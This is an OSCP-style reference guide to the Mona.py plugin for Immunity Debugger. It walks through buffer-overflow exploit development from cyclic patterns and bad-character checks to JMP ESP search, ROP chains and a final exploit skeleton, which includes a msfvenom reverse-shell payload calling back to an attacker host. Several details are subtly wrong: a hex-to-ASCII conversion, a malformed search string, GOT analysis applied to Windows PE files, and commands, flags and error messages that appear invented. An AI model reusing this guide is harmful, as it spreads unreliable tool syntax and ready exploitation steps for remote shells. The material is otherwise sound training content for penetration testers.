Mona.py Framework - Complete OSCP Reference
Mona.py is the most powerful and widely-used plugin for Immunity Debugger in exploit development. Created by Corelan (Peter Van Eeckhoutte), it automates the tedious and error-prone tasks of buffer overflow exploitation, from pattern generation to ROP chain construction. Mastering Mona is essential for the OSCP exam’s exploit development questions.
Table of Contents
- Introduction and Overview
- Installation Guide
- Configuration and Working Folder
- Essential Commands Reference
- Complete Mona Workflow
- Output Interpretation
- Common Errors and Fixes
- Mona vs Metasploit Pattern Tools
- Advanced Techniques
- OSCP Exam Best Practices
- Quick Reference Cheat Sheet
1. Introduction and Overview
What is Mona.py?
Mona.py is a Python-based plugin for Immunity Debugger that provides a comprehensive suite of tools for exploit development. It was created to address the limitations of manual exploit development workflows and has become the de facto standard in the industry and in OSCP-style assessments.
Why Mona over manual methods?
| Task | Manual Approach | With Mona |
|---|---|---|
| Pattern creation | Use pattern_create.rb from Metasploit |
!mona pc (built-in) |
| Offset finding | Use pattern_offset.rb |
!mona po (built-in) |
| Bad char analysis | Manual hex comparison | !mona compare (automated) |
| Module analysis | Manual inspection in debugger | !mona modules (detailed report) |
| Instruction search | Manual memory scanning | !mona find (regex-based) |
| ROP chain building | Manual search for gadgets | !mona rop (automated) |
| Sled/egg hunter | Manual construction | !mona suggest (intelligent) |
Core Capabilities
- Pattern Operations - Create, find, and compare cyclic patterns
- Bad Character Analysis - Automated hex memory comparison
- Module Enumeration - Detailed analysis of loaded modules (ASLR, DEP, SafeSEH)
- Instruction Search - Find specific byte sequences in memory
- Gadget Suggestion - Intelligent recommendations for exploit development
- ROP Chain Building - Automated ROP gadget discovery and chain construction
- GOT Overwrite Analysis - Global Offset Table manipulation support
- Jump Instruction Discovery - Find
JMP ESP,JMP EAX, etc.
2. Installation Guide
Prerequisites
- Immunity Debugger (version 1.70 or later) installed
- Python 2.7 (Mona requires Python 2.x, NOT Python 3)
- Administrator privileges on the Windows machine
Step-by-Step Installation
Step 1: Download Mona.py
# Option A: Download from Corelan's website
# Navigate to: https://www.corelan.be/index.php/2011/09/08/mona-py-the-successor-to-mona-py/
# Option B: If you have the OSCP lab resources
# Mona.py is typically included in the exploit development toolkit
Step 2: Locate the Immunity Debugger Python Directory
# Default installation path:
C:\Program Files\Immunity Inc\Immunity Debugger\pycommands
# Verify the directory exists:
Test-Path "C:\Program Files\Immunity Inc\Immunity Debugger\pycommands"
Note: The
pycommandsdirectory is where Immunity Debugger loads Python plugins from. If it doesn’t exist, create it.
Step 3: Copy Mona.py
# Copy mona.py to the pycommands directory
Copy-Item "C:\path\to\mona.py" "C:\Program Files\Immunity Inc\Immunity Debugger\pycommands\"
Step 4: Verify Installation
1. Launch Immunity Debugger as Administrator
2. Open any target application
3. Press Enter in the command bar at the bottom
4. Type: !mona
5. You should see Mona's help output
Expected output:
Mona - version 2.0
Usage: !mona [command] [options]
Commands:
config Configure Mona settings
pc Create a pattern
po Find pattern offset
...
Troubleshooting Installation Issues
Issue 1: Python Version Conflict
Problem: Mona fails to load with Python syntax errors.
Cause: Python 3.x is installed but Mona requires Python 2.7.
Solution:
# Check Python version
python --version
# If Python 3.x, install Python 2.7 alongside
# Download from: https://www.python.org/downloads/release/python-2718/
# Ensure Python 2.7 is in PATH before Python 3
# Or use the full path when launching Immunity
Issue 2: Plugin Not Loading
Problem: !mona command not recognized.
Solutions:
1. Verify mona.py is in the correct pycommands directory
2. Check file permissions - ensure the file is readable
3. Restart Immunity Debugger completely
4. Check the Immunity log for Python errors
5. Ensure no syntax errors in mona.py (don't modify it)
Issue 3: Immunity Debugger Crashes on Plugin Load
Problem: Debugger crashes when loading Mona.
Solutions:
1. Run Immunity Debugger as Administrator
2. Ensure .NET Framework 3.5 is installed
3. Try a clean reinstall of Immunity Debugger
4. Check Windows Event Viewer for crash details
Issue 4: Working Folder Errors
Problem: Mona complains about missing working folder.
Solution: See Configuration Section below.
3. Configuration and Working Folder
Why the Working Folder Matters
Mona needs a dedicated directory to store its output files. Every command that generates results (pattern creation, bad char analysis, module reports, etc.) writes to this folder. Without a properly configured working folder, Mona cannot function.
Setting Up the Working Folder
Method 1: Via Mona Command (Recommended)
# In Immunity Debugger command bar:
!mona config -set workingfolder c:\logs\%(p)
# Explanation:
# c:\logs\ - Base directory (must exist)
# %(p) - Placeholder for the process name
# Result: c:\logs\notepad\ for a process named "notepad"
Method 2: Fixed Folder (Simpler for OSCP)
!mona config -set workingfolder c:\mona\
# All output goes to c:\mona\ regardless of process name
Creating the Directory Structure
# Create the base directory
New-Item -ItemType Directory -Path "C:\logs" -Force
# Or for the simpler approach:
New-Item -ItemType Directory -Path "C:\mona" -Force
Understanding the %(p) Placeholder
| Placeholder | Meaning | Example |
|---|---|---|
%(p) |
Process name | c:\logs\service.exe\ |
%(t) |
Timestamp | 20260901_143022 |
%(w) |
Working directory of target | c:\logs\C_Program Files_App\ |
Recommended OSCP Setup
!mona config -set workingfolder c:\mona\%(p)
This creates a clean, per-process directory structure:
C:\mona\
├── service1\
│ ├── log.txt
│ ├── pattern.txt
│ ├── badchars.txt
│ ├── modules.txt
│ └── suggest.txt
├── service2\
│ ├── log.txt
│ └── ...
└── ...
Verifying Configuration
# Check current settings:
!mona config -get workingfolder
# Expected output:
# [+] Working folder: c:\mona\%(p)
4. Essential Commands Reference
4.1 !mona config - Configuration Management
Syntax
!mona config -set <setting> <value>
!mona config -get <setting>
!mona config -clear
Common Settings
# Set working folder (most important)
!mona config -set workingfolder c:\mona\%(p)
# Get current working folder
!mona config -get workingfolder
# Clear all settings (reset to defaults)
!mona config -clear
Practical Example
# Full configuration sequence:
!mona config -set workingfolder c:\mona\%(p)
!mona config -get workingfolder
# Output: [!] Working folder: c:\mona\%(p)
4.2 !mona pc - Pattern Create
Purpose
Generates a unique cyclic pattern of a specified length. Each character in the pattern is unique, allowing precise offset calculation when a crash occurs.
Syntax
!mona pc -l <length> [-o <output_file>]
| Parameter | Description | Required |
|---|---|---|
-l <length> |
Length of the pattern to generate | Yes |
-o <output_file> |
Output file path (default: pattern.txt) |
No |
Examples
# Create a 2000-byte pattern (saved as pattern.txt in working folder)
!mona pc -l 2000
# Create a 3000-byte pattern with custom output name
!mona pc -l 3000 -o mypattern.txt
# Create exact buffer size pattern
!mona pc -l 4096
Expected Output
[+] Writing pattern of 2000 bytes to 'c:\mona\service\pattern.txt'
[+] Done
Generated Pattern Sample
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9...
How the Pattern Works
The cyclic pattern uses a repeating sequence of characters where each 4-byte segment is globally unique:
Position: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Pattern: Aa0A a1Aa 2Aa3 Aa4A a5Aa 6Aa7 Aa8A a9Ab 0Ab1 Ab2A b3Ab 4Ab5 Ab6A b7Ab 8Ab9
When the EIP crashes with a value like 67424341, Mona can find the exact offset because 67424341 (hex) = ACBc (ASCII) appears at only one position in the pattern.
4.3 !mona po - Pattern Offset
Purpose
Finds the offset of a specific value within the cyclic pattern. This tells you exactly how many bytes before the EIP overwrite.
Syntax
!mona po -m <value>
!mona po -c <register>
| Parameter | Description | Required |
|---|---|---|
-m <value> |
Hex value to search for (from crashed EIP/ESP) | Yes (with -m) |
-c <register> |
Automatically read value from register | Yes (with -c) |
Examples
# Method 1: Manual value entry (most common)
!mona po -m 39674541
# Method 2: Auto-read from register (when debugger is paused at crash)
!mona po -c eip
# Method 3: Search for ESP value
!mona po -c esp
Expected Output
[+] Searching for '39674541'
[+] Exact match at offset 2003
[+] Done
Practical Workflow
Step 1: Crash the application with the Mona pattern
Step 2: Note the EIP value (e.g., 39674541)
Step 3: Run: !mona po -m 39674541
Step 4: Result: Offset = 2003
Step 5: Your exploit structure:
exploit = "A" * 2003 + <4 bytes EIP> + <payload>
4.4 !mona findmsp - Find Pattern Spray/Offset
Purpose
Automatically detects the offset to EIP by analyzing the crashed memory. This is a convenience command that combines pattern detection and offset finding.
Syntax
!mona findmsp
Expected Output
[+] Looking for EIP value...
[+] EIP contains: 39674541
[+] Exact match found at offset: 2003
[+] Looking for ESP value...
[+] ESP points to offset 2007 in the pattern
[+] Buffer starts at offset 2003
[+] Done
When to Use
- Quick offset detection without manual value entry
- When you want both EIP and ESP offsets at once
- During initial crash analysis
4.5 !mona compare - Bad Character Analysis
Purpose
Compares a memory region against a known byte array to identify which characters are corrupted (bad characters). This is critical for shellcode injection.
Syntax
!mona compare -f <bytearray_file> -a <memory_address>
| Parameter | Description | Required |
|---|---|---|
-f <file> |
Path to the bytearray file (from !mona bytearray) |
Yes |
-a <address> |
Memory address where the bytearray was written | Yes |
Examples
# Compare bytearray at ESP location
!mona compare -f c:\mona\bytearray.bin -a 0x0012FF44
# After Mona created bytearray and you found it in memory
!mona compare -f bytearray.bin -a 0x0136F8C0
Expected Output
[+] Comparing bytearray at 0x0012FF44
[+] Found 256 bytes to compare
[+] Bad characters found:
0x00 - NULL byte (always bad)
0x0a - Line feed
0x0d - Carriage return
[+] Good characters: 253 of 256
[+] Results saved to: c:\mona\service\badchars.txt
[+] Done
Understanding Bad Characters
| Bad Char | Why It’s Bad | Impact |
|---|---|---|
\x00 |
NULL terminator | Strings are NULL-terminated; truncates payload |
\x0a |
Line feed (LF) | Interpreted as newline in many protocols |
\x0d |
Carriage return (CR) | Interpreted as line ending in many protocols |
\x00-\x1f |
Control characters | May be filtered by input sanitization |
\x22 |
Double quote | May break string parsing |
\x27 |
Single quote | May break SQL/string parsing |
\x3c, \x3e |
Angle brackets | May be HTML-encoded |
Bad Character Workflow
Step 1: Create bytearray (all 256 bytes except known bad chars)
!mona bytearray -b "\x00"
Step 2: Inject bytearray into the vulnerable application
Step 3: Crash and find where bytearray landed in memory
Step 4: Compare memory against original bytearray
!mona compare -f bytearray.bin -a <memory_address>
Step 5: Review badchars.txt for corrupted characters
Step 6: Encode shellcode to avoid bad characters
(Use msfvenom -b "\x00\x0a\x0d")
4.6 !mona modules - Module Enumeration
Purpose
Analyzes all loaded modules (DLLs, EXEs) in the target process and reports their security properties. This is one of the most important commands for finding exploitation paths.
Syntax
!mona modules
Expected Output (modules.txt)
[+] Analyzing modules...
[+] Results saved to: c:\mona\service\modules.txt
[+] Done
Reading modules.txt
The output file contains a detailed table:
================================================================================
Module information
================================================================================
Name : C:\Windows\System32\some.dll
Base : 0x6A200000
Size : 0x00018000
Path : C:\Windows\System32\some.dll
ASLR : Disabled <-- KEY INFO
DEP : Disabled <-- KEY INFO
SafeSEH : Disabled <-- KEY INFO
Compiled : Yes
Debuggable : No
Signature : Not signed
Exports : 120
Imports : 45
Name : C:\Windows\System32\kernel32.dll
Base : 0x76A30000
Size : 0x00130000
Path : C:\Windows\System32\kernel32.dll
ASLR : Enabled <-- Avoid this module
DEP : Enabled <-- Avoid this module
SafeSEH : Enabled <-- Avoid this module
Compiled : Yes
Debuggable : No
Signature : Signed
Exports : 542
Imports : 12
Key Properties Explained
| Property | What It Means | Exploitation Impact |
|---|---|---|
| ASLR: Disabled | Module loads at fixed address | Address is predictable across reboots |
| ASLR: Enabled | Module loads at random address | Address changes each run; harder to exploit |
| DEP: Disabled | No Data Execution Prevention | Can execute code in this module’s memory |
| DEP: Enabled | Memory marked as non-executable | Cannot execute shellcode directly |
| SafeSEH: Disabled | No Safe Structured Exception Handler | Can overwrite SEH handlers with arbitrary addresses |
| SafeSEH: Enabled | SEH handlers validated | Cannot use arbitrary SEH overwrite |
Ideal Target Module
ASLR: Disabled AND DEP: Disabled AND SafeSEH: Disabled
This module provides:
- Fixed address (no ASLR) = reliable JMP/CALL instructions
- Executable memory (no DEP) = can execute shellcode
- No SafeSEH = can use SEH overwrite techniques
Practical Usage
# After running !mona modules, look for modules with:
# All three protections disabled
# Then find a JMP ESP in that module:
!mona find -s "\xff\xe4" -m <module_name>.dll
# Or use suggest for intelligent recommendations:
!mona suggest
4.7 !mona mod - Module-Specific Analysis
Purpose
Provides detailed analysis of a specific module, including import/export tables and potential gadgets.
Syntax
!mona mod -s <module_name>
Examples
# Analyze a specific DLL
!mona mod -s vulnerable.dll
# Analyze the main executable
!mona mod -s target.exe
4.8 !mona find - Instruction/Byte Search
Purpose
Searches memory for specific byte sequences, instructions, or patterns. This is the Swiss Army knife of Mona commands.
Syntax
!mona find -s <search_string> [-m <module>] [-a <address>] [-p <process>]
| Parameter | Description | Required |
|---|---|---|
-s <string> |
Search string (hex bytes, instruction, or text) | Yes |
-m <module> |
Limit search to specific module | No |
-a <address> |
Search from specific address | No |
-p <process> |
Search in specific process | No |
Examples
# Find JMP ESP instruction
!mona find -s "\xff\xe4"
# Find JMP ESP in a specific module
!mona find -s "\xff\xe4" -m vulnerable.dll
# Find CALL EAX
!mona find -s "\ffd0"
# Find specific text string
!mona find -s "user32.dll"
# Find NOP sled
!mona find -s "\x90\x90\x90\x90\x90"
# Find specific shellcode byte sequence
!mona find -s "\x31\xc0\x50\x68"
# Find any instruction that writes to ESP
!mona find -s "\x[0-9a-f]{2}\xe4"
Common Search Patterns
| Instruction | Hex Bytes | Purpose |
|---|---|---|
JMP ESP |
\xff\xe4 |
Redirect execution to ESP |
JMP EAX |
\xff\xe0 |
Redirect to EAX |
JMP EBX |
\xff\xe3 |
Redirect to EBX |
JMP ECX |
\xff\xe1 |
Redirect to ECX |
CALL ESP |
\xff\xd4 |
Call ESP (returns via RET) |
CALL EAX |
\xff\xd0 |
Call EAX |
POP ESP; RET |
\x5c\xc3 |
ROP gadget |
POP EDI; RET |
\x5f\xc3 |
ROP gadget |
XCHG EAX, ESP |
\x94 |
Swap EAX and ESP |
NOP |
\x90 |
No operation (sled) |
Expected Output
[+] Searching for '\xff\xe4'
[+] Found 12 results:
0x6A201234 - JMP ESP (module: vulnerable.dll)
0x6A205678 - JMP ESP (module: vulnerable.dll)
0x76A34321 - JMP ESP (module: kernel32.dll)
...
[+] Results saved to: c:\mona\service\find.txt
[+] Done
4.9 !mona bytearray - Byte Array Creation
Purpose
Creates a binary file containing all 256 byte values (0x00-0xFF), optionally excluding specified bad characters. Used for bad character analysis.
Syntax
!mona bytearray [-b <bad_chars>] [-cpb <custom_bad>] [-o <output_file>]
| Parameter | Description | Required |
|---|---|---|
-b <chars> |
Bad characters to exclude (hex, space-separated) | No |
-cpb <chars> |
Custom bad characters (alternative format) | No |
-o <file> |
Output file path | No |
Examples
# Create bytearray excluding only NULL byte
!mona bytearray -b "\x00"
# Create bytearray excluding NULL, LF, CR
!mona bytearray -b "\x00\x0a\x0d"
# Create bytearray excluding multiple known bad chars
!mona bytearray -b "\x00\x0a\x0d\x22\x27"
# Create bytearray with custom output
!mona bytearray -b "\x00" -o mybytearray.bin
Expected Output
[+] Creating bytearray of 255 bytes (excluding \x00)
[+] Writing to 'c:\mona\service\bytearray.bin'
[+] Done
How Bytearray Works
Full bytearray (no exclusions):
0x01 0x02 0x03 ... 0xFE 0xFF
With -b "\x00":
0x01 0x02 0x03 ... 0xFE 0xFF (255 bytes)
With -b "\x00\x0a\x0d":
0x01 0x02 ... 0x09 0x0B ... 0x0C 0x0E ... 0xFF (253 bytes)
4.10 !mona bs - Bad Character Search
Purpose
Searches for a specific bad character pattern in memory. Useful for verifying bad character presence.
Syntax
!mona bs -b <bad_char_hex>
Examples
# Search for NULL bytes in memory
!mona bs -b "\x00"
# Search for specific byte
!mona bs -b "\x0a"
4.11 !mona suggest - Intelligent Gadget Suggestion
Purpose
Analyzes the target process and suggests the best exploitation approach based on loaded modules, their properties, and available gadgets. This is one of Mona’s most powerful commands.
Syntax
!mona suggest [-cpb <bad_chars>]
| Parameter | Description | Required |
|---|---|---|
-cpb <chars> |
Custom bad characters to exclude from suggestions | No |
Examples
# Basic suggestion (no bad chars)
!mona suggest
# Suggestion excluding known bad characters
!mona suggest -cpb "\x00\x0a\x0d"
Expected Output
[+] Mona suggests the following:
[+]
[+] Module: vulnerable.dll
[+] Base: 0x6A200000
[+] ASLR: Disabled
[+] DEP: Disabled
[+] SafeSEH: Disabled
[+]
[+] Available techniques:
[+] 1. Buffer overflow with JMP ESP
[+] Address: 0x6A201234 (JMP ESP)
[+] 2. SEH overwrite with \xeb\x06\x90\x90
[+] POP/POP/RET at: 0x6A205678
[+]
[+] Results saved to: c:\mona\service\suggest.txt
[+] Done
Interpreting Suggestions
Mona ranks suggestions by exploitability:
- Buffer overflow + JMP ESP - Best case; direct code execution
- SEH overwrite - Good when EIP is controllable but ESP isn’t ideal
- ROP chain - Required when DEP is enabled
- GOT overwrite - Advanced technique for specific scenarios
4.12 !mona got - GOT Overwrite Analysis
Purpose
Analyzes the Global Offset Table (GOT) for potential overwrite opportunities. GOT overwrites are an advanced technique for redirecting execution in ELF binaries, but Mona also provides analysis for Windows PE files.
Syntax
!mona got [-m <module>]
Examples
# Analyze GOT for all modules
!mona got
# Analyze GOT for specific module
!mona got -m vulnerable.dll
Expected Output
[+] Analyzing GOT entries...
[+] Module: vulnerable.dll
[+] GOT entry: 0x6A210000 -> 0x76A34567 (kernel32.dll!GetProcAddress)
[+] GOT entry: 0x6A210004 -> 0x76A34890 (kernel32.dll!LoadLibraryA)
[+]
[+] Potential overwrite targets identified
[+] Results saved to: c:\mona\service\got.txt
[+] Done
4.13 !mona jmp - Jump Instruction Search
Purpose
Finds jump instructions to specific registers. This is a convenience wrapper around !mona find specifically for common jump targets.
Syntax
!mona jmp -r <register> [-m <module>] [-cpb <bad_chars>]
| Parameter | Description | Required |
|---|---|---|
-r <register> |
Target register (ESP, EAX, EBX, ECX, EDX, ESI, EDI, EBP) | Yes |
-m <module> |
Limit to specific module | No |
-cpb <chars> |
Exclude addresses containing bad characters | No |
Examples
# Find all JMP ESP instructions
!mona jmp -r esp
# Find JMP ESP in a specific module
!mona jmp -r esp -m vulnerable.dll
# Find JMP ESP excluding bad characters in address
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# Find JMP EAX
!mona jmp -r eax
# Find CALL ESP
!mona jmp -r esp
Expected Output
[+] Searching for JMP ESP
[+] Found 8 results:
0x6A201234 - JMP ESP (vulnerable.dll) [NO BAD CHARS]
0x6A205678 - JMP ESP (vulnerable.dll) [NO BAD CHARS]
0x76A34321 - JMP ESP (kernel32.dll) [ASLR - AVOID]
[+] Results saved to: c:\mona\service\jmp_esp.txt
[+] Done
Choosing the Right Address
| Criteria | Good | Bad |
|---|---|---|
| ASLR | Disabled | Enabled |
| Bad chars in address | None | Contains \x00, \x0a, \x0d |
| Module stability | High (system DLL) | Low (custom DLL) |
| Address consistency | Same across reboots | Changes |
4.14 !mona noaslr - Non-ASLR Module List
Purpose
Lists all modules that do NOT have ASLR enabled. These modules load at fixed addresses, making them reliable targets for exploitation.
Syntax
!mona noaslr
Expected Output
[+] Modules without ASLR:
[+]
[+] vulnerable.dll Base: 0x6A200000 Size: 0x00018000
[+] legacy_helper.dll Base: 0x10000000 Size: 0x00005000
[+] old_service.dll Base: 0x6B300000 Size: 0x00020000
[+]
[+] Results saved to: c:\mona\service\noaslr.txt
[+] Done
Why This Matters
ASLR Enabled Module:
Run 1: Loads at 0x7A4B2000
Run 2: Loads at 0x6C8D1000
Run 3: Loads at 0x8F2A3000
=> Cannot reliably target instructions in this module
ASLR Disabled Module:
Run 1: Loads at 0x6A200000
Run 2: Loads at 0x6A200000
Run 3: Loads at 0x6A200000
=> Can reliably use 0x6A201234 (JMP ESP) every time
4.15 !mona dep - DEP Status Check
Purpose
Checks which modules have DEP (Data Execution Prevention) enabled or disabled. DEP marks memory regions as non-executable, preventing shellcode execution.
Syntax
!mona dep
Expected Output
[+] DEP status:
[+]
[+] DEP disabled modules:
[+] vulnerable.dll Base: 0x6A200000
[+] legacy_helper.dll Base: 0x10000000
[+]
[+] DEP enabled modules:
[+] kernel32.dll Base: 0x76A30000
[+] ntdll.dll Base: 0x77D00000
[+] user32.dll Base: 0x76F00000
[+]
[+] Results saved to: c:\mona\service\dep.txt
[+] Done
DEP Bypass Strategies
| DEP Status | Exploitation Approach |
|---|---|
| DEP Disabled | Direct shellcode execution via JMP ESP |
| DEP Enabled | ROP chain to call VirtualProtect or WriteProcessMemory |
4.16 !mona rop - ROP Chain Builder
Purpose
Builds Return-Oriented Programming (ROP) chains to bypass DEP. ROP uses existing code snippets (gadgets) in loaded modules to achieve arbitrary code execution.
Syntax
!mona rop [--module <module>] [--noexec <module>] [--conservative] [--chain <type>]
| Parameter | Description | Required |
|---|---|---|
--module <mod> |
Module to search for gadgets | No |
--noexec <mod> |
Module with DEP enabled (search for gadgets here) | No |
--conservative |
Use conservative gadget search (more reliable) | No |
--chain <type> |
Chain type: vprotect, wpm, exec |
No |
Examples
# Basic ROP chain (auto-detect best module)
!mona rop
# ROP chain in specific module
!mona rop --module vulnerable.dll
# Conservative ROP chain (more reliable gadgets)
!mona rop --conservative
# ROP chain for VirtualProtect
!mona rop --chain vprotect
# ROP chain for WriteProcessMemory
!mona rop --chain wpm
Expected Output
[+] Building ROP chain...
[+] Module: vulnerable.dll
[+]
[+] ROP chain for VirtualProtect:
[+]
[+] 0x6A201001 - POP EBP; RET
[+] 0x00000000 - NULL (padding)
[+] 0x6A202001 - POP EDI; RET
[+] 0x6A203000 - Address of target memory
[+] 0x6A204001 - POP ESI; RET
[+] 0x00000040 - New protection (PAGE_EXECUTE_READWRITE)
[+] 0x6A205001 - POP EBX; RET
[+] 0x00000000 - NULL
[+] 0x6A206001 - POP ECX; RET
[+] 0x00010000 - Size of region
[+] 0x6A207001 - MOV EAX, NULL; RET
[+] 0x6A208001 - PUSH EBP; PUSH EDI; PUSH ESI; PUSH EBX; PUSH ECX; PUSH EAX; RET
[+] 0x76A35000 - Address of VirtualProtect
[+]
[+] Results saved to: c:\mona\service\rop.txt
[+] Done
Understanding ROP Gadgets
A ROP gadget is a short sequence of instructions ending in RET:
Example gadgets:
POP EBP; RET -> Sets EBP from stack, then returns
POP EDI; RET -> Sets EDI from stack, then returns
MOV EAX, NULL; RET -> Sets EAX to NULL
PUSH ESP; RET -> Pushes ESP onto stack
By chaining these gadgets, you can:
1. Set up function arguments on the stack
2. Call system functions (VirtualProtect, etc.)
3. Bypass DEP to make memory executable
4. Execute your shellcode
5. Complete Mona Workflow
End-to-End Exploitation Workflow
flowchart TD
A[Start: Identify Vulnerable Application] --> B[Launch Immunity Debugger + Attach Target]
B --> C[!mona config -set workingfolder c:\\mona\\%p]
C --> D[!mona pc -l 2000<br/>Create cyclic pattern]
D --> E[Send pattern to target via exploit script]
E --> F{Application Crashes?}
F -->|No| G[Increase pattern length<br/>!mona pc -l 3000]
G --> E
F -->|Yes| H[Note EIP value]
H --> I[!mona po -m <EIP_value><br/>Find offset]
I --> J[Confirm offset with<br/>!mona findmsp]
J --> K[!mona modules<br/>Enumerate loaded modules]
K --> L{Find module with<br/>ASLR: Disabled<br/>DEP: Disabled<br/>SafeSEH: Disabled}
L -->|Found| M[!mona jmp -r esp -m <module><br/>Find JMP ESP]
L -->|Not Found| N[!mona suggest<br/>Get intelligent suggestions]
N --> M
M --> O[Select JMP ESP address<br/>without bad characters]
O --> P[!mona bytearray -b \"\\x00\"<br/>Create bytearray]
P --> Q[Inject bytearray via exploit]
Q --> R[Crash and locate bytearray in memory]
R --> S[!mona compare -f bytearray.bin -a <addr><br/>Identify bad characters]
S --> T[Generate shellcode with msfvenom<br/>excluding bad characters]
T --> U[Final exploit:<br/>OFFSET + JMP_ESP + NOP_SLED + SHELLCODE]
U --> V[Test exploit]
V --> W{Shell obtained?}
W -->|No| X[Debug: Check offset, address, bad chars]
X --> U
W -->|Yes| Y[Success - Meterpreter Session]
Detailed Step-by-Step Walkthrough
Phase 1: Initial Crash Analysis
# Step 1: Create the pattern
# In Immunity Debugger:
!mona pc -l 2000
# Step 2: Use the pattern in your exploit script
# Read pattern.txt and send to target
exploit = open('c:\\mona\\pattern.txt', 'r').read()
# Send exploit to target...
# Step 3: When crashed, find the offset
# Note EIP value from debugger (e.g., 39674541)
!mona po -m 39674541
# Output: [!] Exact match at offset 2003
Phase 2: Module Analysis
# Step 4: Analyze loaded modules
!mona modules
# Step 5: Review modules.txt for ideal target
# Look for: ASLR=Disabled, DEP=Disabled, SafeSEH=Disabled
# Step 6: Find JMP ESP in the ideal module
!mona jmp -r esp -m ideal_module.dll
# Output: 0x6A201234 - JMP ESP (ideal_module.dll)
Phase 3: Bad Character Analysis
# Step 7: Create bytearray
!mona bytearray -b "\x00"
# Step 8: Inject bytearray at the offset position
# exploit = "A" * 2003 + "\x34\x12\x20\x6A" + bytearray_content
# Step 9: Crash and find bytearray in memory
# Look at ESP in debugger, note the address
# Step 10: Compare to find bad characters
!mona compare -f bytearray.bin -a 0x0012FF44
# Step 11: Review badchars.txt
# Bad chars: \x00, \x0a, \x0d
Phase 4: Shellcode Generation and Final Exploit
# Step 12: Generate shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.X LPORT=443 -f python -b "\x00\x0a\x0d"
# Step 13: Build final exploit
offset = 2003
jmp_esp = "\x34\x12\x20\x6a" # Little-endian address
nop_sled = "\x90" * 16
shellcode = b"\xfc\xe8\x... " # From msfvenom
exploit = "A" * offset + jmp_esp + nop_sled + shellcode
# Step 14: Test and refine
6. Output Interpretation
Understanding Mona’s Output Files
Mona creates several files in the working folder. Here’s how to read each:
log.txt - Command Log
[2026-09-01 14:30:22] !mona pc -l 2000
[2026-09-01 14:30:22] [+] Writing pattern of 2000 bytes
[2026-09-01 14:35:10] !mona po -m 39674541
[2026-09-01 14:35:10] [+] Exact match at offset 2003
[2026-09-01 14:40:05] !mona modules
[2026-09-01 14:40:05] [+] Analyzing 42 modules
Use: Track your command history and verify Mona executed correctly.
pattern.txt - Cyclic Pattern
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1...
Use: Copy this pattern into your exploit script for initial crash testing.
badchars.txt - Bad Character Report
================================================================================
Bad character analysis
================================================================================
Original bytearray: 255 bytes
Memory bytearray: 255 bytes
Bad characters found:
0x00 - NULL byte (expected)
0x0a - Line feed
0x0d - Carriage return
Good characters: 252 of 255
Hex dump of good characters:
01 02 03 04 05 06 07 08 09 0b 0c 0e 0f 10 11 12 13 14 15 16
17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a
...
Use: The -b parameter for msfvenom: -b "\x00\x0a\x0d"
modules.txt - Module Analysis
Name : vulnerable.dll
Base : 0x6A200000
ASLR : Disabled
DEP : Disabled
SafeSEH : Disabled
Use: Identify the best module for finding reliable instructions.
suggest.txt - Mona’s Recommendations
[+] Mona suggests:
[+]
[+] 1. Use buffer overflow technique
[+] Module: vulnerable.dll (0x6A200000)
[+] JMP ESP: 0x6A201234
[+]
[+] 2. Alternative: SEH overwrite
[+] POP/POP/RET: 0x6A205678
Use: Quick reference for the best exploitation path.
find.txt - Search Results
[+] Search results for '\xff\xe4':
0x6A201234 - JMP ESP (vulnerable.dll)
0x6A205678 - JMP ESP (vulnerable.dll)
0x76A34321 - JMP ESP (kernel32.dll) [ASLR]
Use: Select the best address (no ASLR, no bad chars).
7. Common Errors and Fixes
Error 1: Working Folder Not Set
[!] Working folder not set. Use '!mona config -set workingfolder <path>'
Fix:
!mona config -set workingfolder c:\mona\%(p)
Error 2: Python Version Error
[!] Mona requires Python 2.x. Current version: 3.x
Fix:
1. Install Python 2.7
2. Ensure Python 2.7 is in PATH before Python 3
3. Or modify Immunity's python.exe to point to Python 2.7
Error 3: Module Not Found
[!] Module 'vulnerable.dll' not found in loaded modules
Fix:
1. Run !mona modules to see actual module names
2. Use the exact module name from the output
3. Check if the module is loaded in the current process
Error 4: Bad Characters in Address
[!] Address 0x6A201234 contains bad character 0x00
Fix:
1. Use !mona jmp -r esp -cpb "\x00\x0a\x0d"
2. Select an address that doesn't contain bad characters
3. Or encode your shellcode to handle the bad character
Error 5: Pattern Too Short
[!] Pattern length insufficient for buffer overflow
Fix:
!mona pc -l 5000 # Increase pattern length
Error 6: Compare Address Invalid
[!] Address 0x00000000 is invalid
Fix:
1. Verify the memory address from the debugger
2. Ensure the process is still running
3. Check that the bytearray was actually written to memory
Error 7: No JMP ESP Found
[!] No JMP ESP found in specified module
Fix:
1. Try a different module: !mona jmp -r esp
2. Try other registers: !mona jmp -r eax
3. Use !mona suggest for alternatives
4. Consider SEH overwrite technique
8. Mona vs Metasploit Pattern Tools
Feature Comparison
| Feature | Mona.py | Metasploit Pattern Tools |
|---|---|---|
| Pattern Create | !mona pc -l 2000 |
pattern_create.rb -l 2000 |
| Pattern Offset | !mona po -m 39674541 |
pattern_offset.rb -q 39674541 |
| Bad Char Analysis | !mona compare |
Manual comparison |
| Module Analysis | !mona modules |
Not available |
| Instruction Search | !mona find |
Not available |
| ROP Chain Building | !mona rop |
Not available |
| Gadget Suggestion | !mona suggest |
Not available |
| Integration | Immunity Debugger | Command-line only |
| Output Files | Automatic | Manual |
| Learning Curve | Moderate | Low (basic patterns) |
When to Use Which
| Scenario | Recommended Tool |
|---|---|
| OSCP exam exploit development | Mona.py (comprehensive) |
| Quick pattern creation only | Either (Mona is faster) |
| Bad character analysis | Mona.py (only option) |
| Module enumeration | Mona.py (only option) |
| ROP chain building | Mona.py (only option) |
